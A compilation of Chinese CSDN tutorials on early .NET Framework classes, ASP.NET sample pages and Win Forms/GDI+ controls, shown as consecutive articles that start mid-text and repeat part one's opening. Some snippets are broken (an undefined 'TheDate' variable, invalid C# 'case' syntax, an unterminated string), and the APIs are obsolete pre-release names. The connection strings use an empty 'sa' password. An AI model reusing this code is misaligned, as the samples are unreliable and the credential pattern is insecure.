类的成员可以是以下两种类型之一：静态成员，实例成员。静态成员（也称为共享成员）是所有类的实例共享的成员，不依赖于类的具体实例。要使用静态成员，我们只需象使用对象一样通过类的名字引用成员的名字即可。例如，System.Math类的Pow方法是一个静态成员，用来计算数值的乘方。下面的代码计算5的3次方：

answer = Math.Pow(5, 3)

与静态成员相反，实例成员依赖于具体的实例对象。它意味着，在使用类的实例成员之前，我们必须先创建对象实例。例如，我们可以用System.Random类的实例成员NextDouble方法返回一个随机数字。下面的代码先创建一个System.Random类型的对象，然后把dblRandom变量的值设置为一个随机数字：

Dim dblRandom As Double
Dim rnd As Random = New Random
dblRandom = rnd.NextDouble

1.3 VB.NET函数与System类的成员
VB.NET语言的历史是一个不断变化的漫长过程。虽然Microsoft在VB.NET中取消了许多原来VB的功能，但VB.NET语言中的许多功能仍旧与System类的功能重复。如果可以选择的话，使用System类几乎总是比使用VB.NET功能更好。使用System类不仅使得代码更容易移植到其他语言，而且使得代码更符合未来VB.NET版本的要求，因为在未来的VB.NET语言中，Microsoft可能继续取消某些早期VB语言的功能。

二、数学计算
System.Math类包含大量可用于数学计算的域和方法，它的所有成员都是静态的。System.Math类的Pow方法能够计算数值的乘方。例如，我们可以用Math.PI域和Pow方法计算圆的面积（下例中dblRadius是圆的半径），Math.PI返回圆周率π：

dblArea = Math.PI * Math.Pow(dblRadius, 2)

用Sqrt方法可以计算数值的平方根。例如，下面的代码计算64的平方根：

answer = Math.Sqrt(64)

用Abs方法可以返回数值的绝对值。例如，下面的代码返回-7.8的绝对值，answer的值将是7.8：

answer = Math.Abs(-7.8)

Sign方法可以返回数值的符号。如果数值是负数，Sign返回-1；如果是正数，Sign返回1；如果是0，Sign返回0。Round方法把数值舍入成为最接近的整数。例如，下面的代码舍入3.4677789这个值，answer的值将是3：

answer = Math.Round(3.4677789)

如果你想要Round一个恰好处于两个整数值之间的值，比如3.5，则Round总是返回最接近该数值的偶数。也就是说，Math.Round(3.5)返回值是4，而Math.Round(6.5)的返回值是6。Floor方法用来截短一个实数，它的返回值是小于指定数值的最大整数值。例如，下面的代码截短数值5.9，answer的值将是5：

answer = Math.Floor(5.9)

注意Floor方法操作负数的结果可能与你所想象的不同。例如，Floor(-5.9)的返回值应该是-6。

除了上面介绍的这些方法之外，Math类还包含许多进行三角计算和对数计算的方法。

三、生成随机数字
System.Random类用来生成随机数字。然而，与VB的Rnd函数不同，System.Random既能够返回小数随机数，也能够返回整数随机数；System.Random类根据系统日期和时间自动生成随机数种子初始化随机数生成器。

用System.Random的NextDouble方法可以返回一个0到1之间的Double类型随机数；用Next方法可以返回两个整数值之间的随机整数。NextDouble和Next都是实例方法，所以在使用这些方法之前你必须先创建一个System.Random类型的对象。下面是一个完整的ASP.NET页面，它显示了如何运用这些方法生成20个随机数字，其中10个随机数字处于0到1之间，另外10个处于1到50之间：

<%@ Page Language="vb" Explicit="True"%>
<head>
<title>Random实例</title>
<script language="VB" runat="server">
Sub Page_Load(Src as Object, E as EventArgs)
' 等价于VB6 Rnd函数的.NET框架类
' 随机数生成方法
Dim rnd As System.Random = New System.Random
Dim i As Integer

lblOutput.Text &= "<table border=""1"">"
lblOutput.Text &= "<tr><th>rnd.NextDouble</th>" & _
<th>Next(1,50)</th></tr>"
For i = 1 To 10
lblOutput.Text &= "<tr>"
lblOutput.Text &= "<td>" & rnd.NextDouble & "</td>"
lblOutput.Text &= "<td>" & rnd.Next(1,50) & "</td>"
lblOutput.Text &= "</tr>"
Next
lblOutput.Text &= "</table>"
End Sub
</script>
</head>
<body>
<asp:label id="lblOutput" runat="server" />
</body>
</html>

下图显示了这个页面的运行结果（当然，如果你运行这个页面，得到的很可能是一组不同的随机数字）。

前面我们讨论了.NET Framework中程序集、名称空间和类如何结合成一个整体，以及如何利用内建的System类进行数学计算和生成随机数字。本文的第二部分将接着讨论其他几个有用的类，包括Array类、String类、DateTime类等。


csdn_.NET框架类览胜（下篇）

  .NET框架类览胜（下篇）
作者： 松下客
一、处理字符串
.NET 框架类（或System类）提供了大量可在构造.NET应用时使用的核心功能，这些功能适用于任何语言环境。本文的第一部分介绍了程序集、名称空间等基本概念以及System.Math和System.Random类。这是本文的第二部分，接着讨论其他几个很有用的类：System.String，System.Array，System.DateTime。

值得指出的是，正如本文前面所提到的，当我们用VB.NET作为编程语言时，我们常常面临这样一种选择：是使用VB.NET语言内建的功能，还是使用等价的System类功能。在处理数组、日期/时间、字符串数据时，我们就面临这种选择。如果你曾经是一个VB 6.0程序员，你的第一个选择可能会是经过检验的、确实有效的老方法。但是，如果有可能，你最好还是改掉老习惯、采用新的.NET System类。为什么呢？因为采用System类能够使你的代码更容易移植到其他.NET语言以及未来的VB.NET版本。

System.String类提供了丰富的字符串处理能力。使用System.String类，我们可以：确定字符串的长度，查找子串，改变字符串的大小写，比较两个字符串，分割字符串，等等。

确定字符串长度使用的是Length属性。例如，在下面的代码中，intLength的值将是4：

Dim strColor As String = "blue"
Dim intLength As Integer
intLength = strColor.length

我们用IndexOf方法从字符串找出第一个匹配的子串。如果能够找到子串，IndexOf方法返回子串的开始位置（第一个字符的开始位置为0）；如果不能找到，则IndexOf返回-1。IndexOf的查找是大小写敏感的。IndexOf是一个被重载（Overload）的方法，它允许传入的参数包括：Char类型的字符，String类型的字符串，Char类型的字符数组。下面这个IndexOf.aspx页面示范了三种不同参数类型IndexOf方法的运用：

<%@ Page Language="vb" Explicit="True"%>
<head>
<title>System.String实例</title>
<script language="vb" runat="server">
Sub Page_Load(Src as Object, E as EventArgs)
Dim chrG As Char = "G"
Dim strWord As String = "for"
Dim chrVowels As Char() = {"a","e","i","o","u"}
Dim strPhrase As String = _
"One small step for man, one giant leap for mankind."
Dim i As Integer

lblOutput.Text &= "<br />strPhrase = " & strPhrase
lblOutput.Text &= "<br />Position of chrG = " _
& strPhrase.IndexOf(chrG)
lblOutput.Text &= "<br />Position of strWord = " _
& strPhrase.IndexOf(strWord)
lblOutput.Text &= "<br />Position of chrVowels = " _
& strPhrase.IndexOf(chrVowels)
End Sub
</script>
</head>
<body>
<asp:label id="lblOutput" runat="server" />
</body>
</html>

这个页面的运行结果如下：

IndexOf允许指定两个用来限制搜索的可选参数，它们分别代表搜索字符串的起始和结束位置。例如，下面的代码对chrVowels的搜索限制在第10到20个字符之间：

strPhrase.IndexOf(chrVowels, 10, 20)

LastIndexOf方法类似于IndexOf方法，但它搜索的是子串的最后一次出现。例如，如果你修改IndexOf.aspx页面，用LastIndexOf方法来取代IndexOf方法，则strWord的位置将是39而不是15。

使用System.String的ToUpper和ToLower方法可以把字符串分别改成全部大写或者全部小写。例如：

strUpper = "This is a mixed case sentence".ToUpper()
strLower = "This is a mixed case sentence".ToLower()

从这个例子可以看出，System.String的属性和方法既可以在字符串变量中应用，也可以直接在字符串文本中应用。

你可以用Compare方法比较两个字符串是否相同。如果两个字符串相同，Compare方法返回0；如果第一个字符串小于第二个字符串，Compare返回一个负数；如果第一个字符串大于第二个字符串，Compare方法返回一个正数。Compare是一个静态方法（参见本文前面关于静态方法和实例方法的说明）。默认情况下，Compare对字符串的比较是大小写敏感的，且不考虑地区关系。例如，下面对Str1和Str2的比较将返回-1，它表示Str1小于Str2：

Dim str1 As String = "abcd.com"
Dim str2 As String = "abcd.Com"

answer = String.Compare(str1, str2)

我们可以向Compare传入第三个可选的参数。如果第三个参数指定为True，则字符串比较操作忽略大小写，比如下面的代码中answer的值将是0，即两个字符串相等。

answer = String.Compare(str1, str2, True)

正如IndexOf方法，Compare也是一个被重载的方法。我们可以向Compare方法传入第四个参数要求进行地区相关的比较；或者，我们也可以指定字符的起始和结束位置使得比较只对字符串的一部分进行。请参见.NET Framework SDK文档了解详细信息。Split方法把字符串分割成一个由子串构成的数组。使用Split方法时，我们必须指定用来分割字符串的、Char类型的分割字符。下面的Split.aspx页面示范了Split方法的应用：

<%@ Page Language="vb" Explicit="True"%>
<head>
<title>Split实例</title>
<script language="vb" runat="server">
Sub Page_Load(Src as Object, E as EventArgs)
Dim strASP As String = _
"ASP.NET is the next generation of Active Server Pages."
Dim strWords() As String
Dim i As Integer

strWords = strASP.Split(" ")

For i = strWords.GetLowerBound(0) to strWords.GetUpperBound(0)
lblOutput.Text &= i & ": " & strWords(i) & "<br />"
Next
End Sub
</script>
</head>
<body>
<asp:label id="lblOutput" runat="server" />
</body>
</html>

Split.aspx的输出结果如下：

前面我们讨论了String类部分属性和方法的应用。String还包括许多其他成员，比如：从数组构造出字符串，把字符串中的一个字符替换成其他字符，删除字符串前面或者后面的空白字符，等等。

二、操作数组
我们可以通过System.Array类用各种方法处理数组。与前面的几个类一样，System.String类的许多功能重复了VB语言所具有的功能。但Array类也增加了一些传统VB语言不具备的功能，比如搜索和排序数组。

Array类的GetLowerBound和GetUpperBound方法用于确定数组指定维的下界和上界。下面这个语句来自Split.aspx（参见前面的例子），它通过GetLowerBound和GetUpperBound方法确定strWords数组的边界：

For i = strWords.GetLowerBound(0) to strWords.GetUpperBound(0)

System.Array的Sort静态方法能够对一维数组的内容排序。Sort方法对数组的排序是大小写敏感的，而且它不能对一维以上的数组排序。调用Sort方法的语法下：

Array.Sort(array_name)

对于一维数组，我们还可以用Reverse方法颠倒数组元素的次序。Reverse方法的语法类似于Sort方法：

Array.Reverse(array_name)

下面的代码（来自ArraySort.aspx示例页面）示范了Sort和Reverse方法的应用：

Dim strTerms() As String = {"JScript", "VB", "ASP", "ASP.NET", ".NET"}
Dim i As Integer

lblOutput.Text &= "Original Array<br />"
For i = strTerms.GetLowerBound(0) to strTerms.GetUpperBound(0)
lblOutput.Text &= i & ": " & strTerms(i) & "<br />"
Next

Array.Sort(strTerms)
lblOutput.Text &= "<br />After Sorting<br />"
For i = strTerms.GetLowerBound(0) to strTerms.GetUpperBound(0)
lblOutput.Text &= i & ": " & strTerms(i) & "<br />"
Next

Array.Reverse(strTerms)
lblOutput.Text &= "<br />After Reversing<br />"
For i = strTerms.GetLowerBound(0) to strTerms.GetUpperBound(0)
lblOutput.Text &= i & ": " & strTerms(i) & "<br />"
Next

ArraySort.aspx页面的输出结果如下：

System.Array方法支持用IndexOf和LastIndexOf方法对一维数组进行搜索，这两个方法与System.String类的同名方法类似。用IndexOf和LastIndexOf方法搜索数组的语法如下：

answer = Array.IndexOf(array_name, search_string)
answer = Array.LastIndexOf(array_name, search_string)

这两个方法分别返回搜索字符串第一次和最后一次匹配的位置；如果不能找到，则返回值是-1。这种搜索是大小写敏感的。例如，在下面的代码中，answer将是2，它表示字符串“ASP”是strTerms数组的第三个元素。

Dim strTerms() As String = {"JScript", "VB", "ASP", "ASP.NET", ".NET"}
answer = Array.IndexOf(strTerms, "ASP")

三、处理日期/时间数据
System.DateTime类提供了许多处理DateTime值的方法。要创建一个DateTime值，我们只需声明一个DateTime类型的变量，并通过“#”分隔符赋予它一个DateTime常量，如下所示：

Dim SeattleQuake As DateTime = #02/28/01 10:54#

System.DateTime类一个很大的优点是：我们能够通过它的属性非常方便地分析日期/时间值。这些DateTime类属性的含义非常明显，它们是：Year，Month，Day，DayOfWeek，DayOfYear，Hour，Minute，Second，Millisecond，Ticks，等。每个Ticks等于100个纳秒（毫微秒）。例如，在下面的代码中，answer的值将等于10：

answer = SeattleQuake.Hour

我们还可以用Date和TimeOfDay属性获得DateTime数据的日期或者时间部分。TimeOfDay属性返回的是一个TimeSpan值，它表示已流逝的按ticks计的时间。可以想象，利用TimeSpan值的属性我们可以分析出TimeSpan时间的各个部分。请参见.NET Framework SDK文档了解详细信息。

System.DateTime类还提供了几个增加（或者减少）DateTime值某一部分的方法，它们是：AddYears，AddMonths，AddDays，AddHours，AddMinutes，AddSeconds，AddMilliseconds，AddTicks。

例如，下面的代码对指定的日期（BDay）进行加1年、减1年操作：

Dim BDay As DateTime = #6/25/2001 12:00#
Dim NextBDay As DateTime
Dim LastBDay As DateTime

NextBDay = TheDate.AddYears(1)
LastBDay = TheDate.AddYears(-1)

【参考】

介绍COM的历史、.NET框架，以及两者之间的关系：http://www.microsoft.com/NET/developer/framework_com.asp。
NET Framework Developer Resources ：http://msdn.microsoft.com/net/framework/default.asp。


csdn_使用Microsoft.NET Frameworks 创建应用程序

  使用Microsoft.NET Frameworks 创建应用程序
作者： Shawn Burk
简介

目前 Web 已成了街谈巷议的话题，看起来好像 Microsoft® Visual Studio® 开发系统对创建基于 Microsoft Windows® 的传统应用程序的支持有所减弱。实际上，Microsoft 对基于 Windows 的应用程序开发方面的投资在不断加大。

Win 表单是一个新的窗体程序包，借助这一程序包，开发人员能够充分利用 Microsoft Windows® 操作系统所提供的丰富的用户界面功能，创建基于 Windows 的应用程序。Win Forms 是新的 Microsoft®.NET 平台的一个组成部分，它提供了许多新技术，包括通用的应用程序框架、可管理的执行环境、一体化的安全性以及面向对象的设计原则。而且，Win Forms 全面支持快速简便地接入 Web Services 以及建立丰富的基于 ADO+ 数据模型的数据感知应用程序。得益于 Visual Studio 中新的共享开发环境，开发人员能够使用包括 Microsoft Visual Basic® 和 C# 在内的任何支持 .NET 平台的语言创建 Win Forms 应用程序。

介绍 Win Forms

就像刚才所说的，Win Forms 是专用于 Windows 客户机 UI 编程的 .NET Framework 的命名空间。它与 ASP+ UI 程序包（即 Web Forms）共享同样的设计原则，但其类和实现却全然不同。在 Microsoft Win32® API 和 Web 组件之间没有魔术般变形的类。就像所有的 .NET Frameworks 一样，一致性已成为优先考虑的问题。其目的是为了 Win Forms 开发人员能够迅速适应在 Web Forms 中编写代码，反之亦然。例如，所有命名空间都有 Button 类，每一个都有文本、默认的 OnClick 事件以及 ForeColor、BackColor 和 Font 属性。

Win Forms 的所有控件都基于 System.WinForms.Control 类。Control 已内置了所有基本的 HWND 功能，并且它能处理我们已经熟悉并喜爱的绝大多数通用 WM_xxxx 消息。RichControl 由 Control 派生而来，其中添加了布局逻辑和绘图代码。System.WinForms 命名空间中的绝大多数控件实际上都由 RichControl 派生而来。ScrollableControl 能够支持窗口客户区域的滚动。一般情况下，对滚动功能的支持是通过 ContainerControl 实现的，后者由 ScrollableControl 派生而来，并增加了对管理子控件、焦点问题和跨栏的支持。Form 由 ContainerControl 派生而来，是 Win Form 的顶级控件，它带有控制标题栏、系统菜单、非矩形窗口和默认控件的属性。UserControl 也由 ContainterControl 派生而来，是开发人员能够创建的控件的基本类。UserControl 一般用于托管其它子控件，但对于外部客户机来说，它又是作为单个单元出现的。UserControl 和 Form 在 Microsoft® Visual Studio.NET 中都有可视设计器，您会找到用于添加和设计由其所派生的类的项。

图 1. Win Forms 控件层次结构

既然我们已了解 Win Forms 的（最）基本方面，让我们揭开它的面纱，看看其表面下的一些相当不错的功能。

更好的易学易用性

Win Forms 的主要目的是尽可能地提高定位到 Win32 平台的开发人员的工作效率。无论是图形设备界面 (GDI) 还是窗口状态管理，为 Win32 编程通常都是很困难的。例如，类似 WS_BORDER 或 WS_CAPTION 的一些窗口样式只能在创建窗口时指定或修改。而 WS_VISIBLE 或 WS_CHILD 等其它窗口样式则可以对已创建的窗口进行修改。Win Forms 尽力消除了这些细微的差别，并确保操作过程始终保持一致性。可以随时地、不限次序地对 Win Forms 控件的属性进行设置，总能产生预期效果。如果改动过程需要创建新的 HWND，Win Forms 框架能够自动地、透明地重新生成窗口，并为其应用相适宜的所有设置。

由控件获得通知或事件在 Win Forms 中也要容易得多。Win Forms 事件都基于称为 Delegates 的一个通用语言运行时功能。Delegates 从本质上讲是对类型安全的、可靠的函数指针。对于任一控件的任一事件，都可以添加代理处理程序；绝不会强迫您创建派生类以通过替代处理事件，创建事件映射，或仅为处理一个事件而为类的所有事件实施一个接口。也可以通过替代派生类处理事件，但这种方式一般用于控件创建者或更为高级的应用。汇集某一按钮的 Click 事件相当简单：

public class ButtonClickForm: System.WinForms.Form {
private System.WinForms.Button button1;
public ButtonClickForm() {
// 创建按钮
button1 = new System.WinForms.Button();
// 添加处理程序
button1.AddOnClick(new System.EventHandler(button1_Click));
// 将按钮添加到窗体中
this.Controls.Add(button1);
}

private void button1_Click(object sender, EventArgs e) {
MessageBox.Show("button1 clicked!");
}
}

这里，我们创建了一个按钮，并添加了一个名为 button1_Click 的处理程序方法，通过短短几行代码，在单击该按钮后，将调用这一方法。请注意，即使处理程序方法被标记为专用，创建这一挂钩的代码仍可以使用该方法，单击按钮后，按钮将能够激活这一方法的事件。

启动 Win Forms 项目的过程也得到了简化。使用 Visual Studio.NET 创建 Win Forms 项目的过程只会创建一个要编译的项目文件：Form1.cs。没有头文件，没有接口定义文件，没有引导程序文件，没有资源文件，没有库文件。项目所需的所有信息都包含在窗体的代码中。这样做有一个好处：项目由一个简单的单窗体应用程序扩展到复杂的、带有多个代码文件的多窗体应用程序要方便得多。链接过程不需要中间对象文件，只有代码和已构建的、受管理的所有 DLL。只要您习惯了这一方法，就能明显地感觉到创建 .NET Framework 应用程序和创建 C/C++ 应用程序之间复杂性的不同。因为信息仅仅包含在代码文件中，在 Visual Studio.NET 环境外创建版本的过程也非常容易，无论是 Visual Basic 代码、C# 代码，还是任何其它语言编写的针对 .NET Framework 的代码。

因为 Win Forms 建立在通用语言运行时的基础之上，开发人员可以任选目前针对通用语言运行时的众多语言中的一种，构建 Win32 应用程序。开发人员现在可以使用多种语言编写 Win Forms 应用程序（或 Web Forms 应用程序或 Data 应用程序）：从 C# 到 COBOL 到 Eiffel 再到 Perl 等等，中间还有很多种（上一次计数是 17 种）。方便易用再加上广泛的应用场合相得益彰，为开发人员提供了深厚的基础，使他们能够迅速有效地使用 Win Forms 构建实用的应用程序。

布局

如果您曾尝试创建能够正常调整大小的窗体，您就会知道这一过程有多么困难。Microsoft Foundation Classes (MFC) 或早期的 Visual Basic 版本没有对这一功能提供内置的支持。然而现在只需几行代码（通常情况下您甚至不需要编写这些代码，因为在设计时就能通过 Property Browser 实现这些功能！），即可创建能够正常调整大小的对话框。

基本布局由两条组成：Anchoring 和 Docking。RichControl 有一个 Anchor 属性，它是一种枚举类型，可以用“或”操作将这些值组合在一起，以说明控件将与其父控件的某一边保持恒定距离。例如，如果您将一个按钮置于窗体上，并将 Anchor 属性设置为 AnchorStyles.BottomRight，则在调整按钮的大小时，按钮将与窗体的底边和右边保持同一距离。此外，如果将 Anchor 设置为 AnchorStyles.All，则按钮的各个边都与窗体的对应边保持同一距离，在调整按钮大小时仍要满足这些约束条件。

Docking 实际上是 Anchoring 的一个特殊情况。RichControl 的 Dock 属性说明控件要将自身固定到其父控件的哪一边。Docking 可以是 Top、Left、Right、Bottom 或 Fill。在每种情况下，控件都将移动到尽量靠近指定边，并调整其大小，以填满那一边。如果父控件的大小有所调整，这一状况仍将保持。将一个控件移动到父控件的底端，并将 Anchor 设置为 AnchorStyle.BottomLeftRight，可以模拟 Docking Bottom。在此处的示例中，列表框是 Docked Left，按钮与窗体的顶端、左边和右边保持恒定距离，由此它们保持了相对位置和大小。下面的示例对话框（图 2）完全使用 Visual Studio.NET 中的 Win Forms 设计器创建，只花了两分钟的时间，没有编写一行代码。

图 2. 使用 Win Forms 设计器所创建的可调整大小的对话框

// ResizableSample.cs
namespace ResizableSampleNamespace {

using System;
using System.Drawing;
using System.ComponentModel;
using System.WinForms;

/// <summary>
/// ResizableSample 的摘要说明。
/// </summary>
public class ResizableSample : System.WinForms.Form {
/// <summary>
/// 为 Win Forms 设计器所要求
/// </summary>
private System.ComponentModel.Container components;
private System.WinForms.Button button3;
private System.WinForms.Button button2;
private System.WinForms.Button button1;
private System.WinForms.ListBox listBox1;
public ResizableSample() {
// 为 Win Form 设计器支持所要求
InitializeComponent();

}

/// <summary>
/// 释放正在使用的所有资源
/// </summary>
public override void Dispose() {
base.Dispose();
components.Dispose();
}

/// <summary>
/// 应用程序的主入口点。
/// </summary>
public static void Main(string[] args) {
Application.Run(new ResizableSample());
}

/// <summary>
/// 设计器支持所要求的方法 — 不要用编辑器
/// 修改这一方法的内容
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.button2 = new System.WinForms.Button();
this.button3 = new System.WinForms.Button();
this.button1 = new System.WinForms.Button();
this.listBox1 = new System.WinForms.ListBox();
//@design this.TrayLargeIcon = false;
//@design this.TrayHeight = 0;
this.Text = "Resizable Dialog";
this.IMEMode = System.WinForms.IMEMode.Off;
this.AutoScaleBaseSize = new System.Drawing.Size(5, 13);
this.ClientSize = new System.Drawing.Size(256, 173);
button2.Location = new System.Drawing.Point(152, 60);
button2.Size = new System.Drawing.Size(92, 32);
button2.TabIndex = 2;
button2.Anchor = System.WinForms.AnchorStyles.TopLeftRight;
button2.Text = "Cancel";
button3.Location = new System.Drawing.Point(152, 120);
button3.Size = new System.Drawing.Size(92, 44);
button3.TabIndex = 3;
button3.Anchor = System.WinForms.AnchorStyles.All;
button3.Text = "Filler";
button1.Location = new System.Drawing.Point(152, 8);
button1.Size = new System.Drawing.Size(92, 32);
button1.TabIndex = 1;
button1.Anchor = System.WinForms.AnchorStyles.TopLeftRight;
button1.Text = "OK";
listBox1.Size = new System.Drawing.Size(120, 173);
listBox1.Dock = System.WinForms.DockStyle.Left;
listBox1.TabIndex = 0;
listBox1.Items.All = new object[] {"Item One",
"Item Two",
"Item Three",
"Item Four"};
this.Controls.Add(button3);
this.Controls.Add(button2);
this.Controls.Add(button1);
this.Controls.Add(listBox1);
}

}
}

GDI+

Win Forms 全面利用了 GDI+ 这一 Microsoft 下一代的二维图形系统。Win Forms 中的图形编程模式完全是面向对象的，各式各样的画笔、笔刷、图像和其它图形对象与 .NET Framework 的其它部分一样，遵循了简单易用的指导方针。开发人员目前可以使用相当不错的一些绘图新功能，如 alpha 混色、渐变色、纹理、消除锯齿以及采用除位图外的其它图像格式。与 Windows 2000 操作系统分层和透明的窗口功能配合使用，开发人员能够毫不费力地创建丰富的、更为图形化的 Win32 应用程序。

如果触发了控件的 OnPaint 事件，能够由 PaintEventArgs 访问的 System.Drawing.Graphics 对象就成为一个 GDI+ 图形对象。图形对象能够执行的所有操作都通过 GDI+ 实施。作为一个示例，使用 GDI+ 创建一个绘制渐变背景的按钮。

图 3. 使用 GDI+ 创建的按钮

以下是实现这一按钮的代码：

public class GradientButton : Button {
// 保留颜色设置的成员
private Color startColor;
private Color endColor;

// 书写文字时我们将需要它
private static StringFormat format = new StringFormat();
public GradientButton() : base() {
// 初始化颜色
startColor = SystemColors.InactiveCaption;
endColor = SystemColors.ActiveCaption;
format.Alignment = StringAlignment.Center;
format.LineAlignment = StringAlignment.Center;
}

/// <summary>
/// 渐变色的终止颜色
// </summary>
public Color EndColor {
get {
return this.endColor;
}
set {
this.endColor = value;
// 如有必要，则导致重新绘制
if (this.IsHandleCreated && this.Visible) {
Invalidate();
}
}
}

/// <summary>
/// 渐变色的起始颜色
// </summary>
public Color StartColor {
get {
return this.startColor;
}
set {
this.startColor = value;
// 如有必要，则导致重新绘制
if (this.IsHandleCreated && this.Visible) {
Invalidate();
}
}
}

protected override void OnPaint(PaintEventArgs pe) {
// 绘制按钮的常规背景以形成
// 边框，等等。
base.OnPaint(pe);
Graphics g = pe.Graphics;
Rectangle clientRect = this.ClientRectangle;
// 缩小矩形，以免绘制时出界
clientRect.Inflate(-1,-1);
// 创建渐变笔刷，从
// 左上角运行到右下角。
Brush backgroundBrush = new LinearGradientBrush(
new Point(clientRect.X,clientRect.Y),
new Point(clientRect.Width, clientRect.Height),
startColor,
endColor);
// 以渐变色填充背景....
g.FillRectangle(backgroundBrush, clientRect);
// 在客户机区域的中间书写文字。
g.DrawString(this.Text,
this.Font,
new SolidBrush(this.ForeColor),
clientRect,
format);
}
}

就像您所看到的，这并不是非常困难。得益于 Win Forms 和 GDI+ 面向对象的设计，无需编写任何复杂的代码，即可实现我们的 GradientButton，并且在设计器中，可以通过 Property Browser 操作 Text、Font、StartColor 和 EndColor。

访问底层系统

许多框架的一个缺点就是：如果人们编写的应用程序类型与示例和演示中的严格一致，则这些框架的效果相当不错，但有时开发人员发现，一旦他们希望用框架进行一些有创造性的工作，某些情况下就会碰到障碍或遭到失败。如果遇到这一情况，Win Forms 框架自始至终都能够允许开发人员访问系统基础结构。当然，希望 Win Forms 这样一个设计优良的框架不会使用户遭遇这种情况，但可能发生的情况几乎是无限的。所有的控件都有 Handle 属性，允许访问控件的窗口句柄 (HWND)，GDI 对象也提供了类似的句柄访问过程。而且，Control 实际上拥有一个名为 WndProc 的受保护的虚拟方法，对于少数 Win Forms 尚不能支持的消息，可以替代该方法，添加处理方式。

例如，假设您的应用程序是资源密集型的，需要响应 WM_COMPACTING。如果系统检测到内存不足，会向所有高层窗口广播 WM_COMPACTING，您就会知道 Win Forms 框架对这一消息没有提供内置支持，由此，可以添加如下处理过程：

/// <summary>
/// Win32Form1 的摘要说明。
/// </summary>
public class CompactableForm : System.WinForms.Form {
private EventHandler handler;
public void AddOnCompacting(EventHandler h) {
handler = (EventHandler) Delegate.Combine(handler, h);
}

protected override void OnCompacting(EventArgs e) {
// 查看运行时系统能否释放任何东西
System.GC.Collect();
// 调用任一处理程序。
if (handler != null) handler(this, e);
}

public void RemoveOnCompacting(EventHandler h) {
handler = (EventHandler) Delegate.Remove(handler, h);
}

protected override void WndProc(ref Message m) {
case (m.msg) {
case win.WM_COMPACTING:
OnCompacting(EventArgs.Empty);
break;
}
base.WndProc(m);
}

}

只需数行代码，当系统试着收集未用资源时，利用新的 CompactableForm 类或由此派生的类即可得到通知，并作出响应。

结论

尽管在许多开发人员的计划中，针对 Web 的开发是当前工作的重点，而定位于熟悉的 Win32 平台仍然是一个不得不面对的情况。有了 Win Forms，Windows 开发人员无论是新手还是老手，都会发现使用丰富的接口创建复杂的应用程序是一个很方便的过程，而这些接口与 .NET Framework 中具有 Web 和数据功能的许多技术配合良好。

通过利用跨语言继承、碎片收集和安全性等通用语言运行时提高工作效率的优秀功能，开发人员将从 .NET Framework 和 Win Forms 中获益。


csdn_.NET框架（一）

  .NET框架（一）
一、基本概念
.NET框架（Framework）是一个开发、部署和运行.NET应用的环境，包括了ASP.NET、公共语言运行时环境（CLR）以及.NET 框架类。关于ASP.NET和CLR的介绍已经有很多，相对而言，关于.NET框架类的介绍却比较少见。

.NET框架类也即System类，它提供了大量我们在构造ASP.NET应用（以及非ASP.NET应用时）可以利用的核心功能。System类可在所有.NET语言中使用，所以我们可以把System类看成是一种.NET的Windows API。与Windows API不同的是，System类提供了类似于COM的高级接口，相当容易使用。

正如所有其他.NET类，System类也以程序集（Assembly）的形式存在。.NET中的程序集类似于COM DLL或者EXE文件——它是保存类代码的执行文件。例如，Math类（包括其属性和方法定义）位于mscorlib.dll程序集。.NET有两种类型的程序集——私有程序集，共享程序集。私有程序集是属于单个应用的程序集，通常位于应用的bin目录；与此相反，共享程序集可以用于多个应用，而且它应该由程序集的创建者装入到全局程序集缓冲区（相当于.NET中的系统注册表）。.NET System类都属于共享程序集。

如果你曾经用Windows API编程，你肯定知道使用Windows API的困难在于：我们很难识别和找出要调用的是哪一个函数。在Windows API DLL之内不存在对函数进行组织的方法，看起来就像所有的API调用都被随意堆砌到了一个庞大的DLL之中。幸运的是，.NET类按照逻辑关系组织成了称为名称空间（Namespace）的层次结构。例如，Math类是System名称空间的一个成员。名称空间在层次结构中可以嵌套多层。例如，ADOConnection类是System.Data.ADO类的一个成员。

1.1 引用名称空间中的成员
要使用名称空间中的类，我们必须顺着名称空间的层次结构找到具体要使用的类，即通过“.”分隔的名字显式地引用类。例如，要创建一个ADOConnection对象，我们必须使用类似下面的代码（本文的所有例子都用Visual Basic编写，但不管是哪一种.NET语言，基本概念仍旧是一样的）：

Dim cnx As System.Data.SQL.SQLConnection
cnx = New System.Data.SQL.SQLConnection( _
"server=(local);uid=sa;pwd=;database=pubs")

除了上面的方法，我们还可以用Import指令简化对类的引用。例如，下面的代码告诉ASP.NET把System.Data.SQL名称空间导入到当前页面：

<%@ Import Namespace="System.Data.SQL" %>

导入名称空间之后，我们就可以直接引用类的名字，省略所有类名字前面的名称空间说明。现在创建ADOConnection对象的代码为：

Dim cnx As SQLConnection
cnx = New SQLConnection("server=(local);uid=sa;pwd=;database=pubs")

可见，使用Import指令可以减少大量的输入。

许多名称空间已经由ASP.NET自动导入，我们不必再为了简化名称引用而去导入这些名称空间。这些名称空间如下：

System
System.Collections
System.Text
System.Text.RegularExpressions
System.Web
System.Web.Caching
System.Web.SessionState
System.Web.Security
System.Web.UI
System.Web.UI.WebControls
System.Web.UI.HtmlControls
应该注意的是，导入一个层次较高的名称空间并不意味着同时导入了层次结构中位于它下面的名称空间。也就是说，下面的Import指令只导入System.Data名称空间中的类，但没有从System.Data.ADO、System.Data.SQL以及其他System.Data下面的名称空间导入类：

<%@ Import Namespace="System.Data" %>

1.2 类的成员
类包含各种成员——属性（Property），方法（Method），域（Field），事件（Event），以及构造类的构造器（Constructor）。属性描述了类的特征，比如System.Array类有一个Length属性。方法是类能够执行的动作，例如我们可以调用Array类的Sort方法排序数组。域类似于属性，对于任何具体的应用，我们可以象对待属性一样对待域，例如Math类的PI属性返回π的值。事件代表着我们可以对它作出反应的动作，例如ADOConnection类有一个名为InfoMessage的事件，这个事件在数据库提供者发送警告或者提示性信息的时候触发。最后，构造器是一种特殊的方法，它在创建新对象的时候被调用。例如，当我们创建新的SQLConnection对象时，我们就调用该类的构造函数并把一个数据库连接串传递给它。

类的成员可以是以下两种类型之一：静态成员，实例成员。静态成员（也称为共享成员）是所有类的实例共享的成员，不依赖于类的具体实例。要使用静态成员，我们只需象使用对象一样通过类的名字引用成员的名字即可。例如，System.Math类的Pow方法是一个静态成员，用来计算数值的乘方。下面的代码计算5的3次方：

answer = Math.Pow(5, 3)

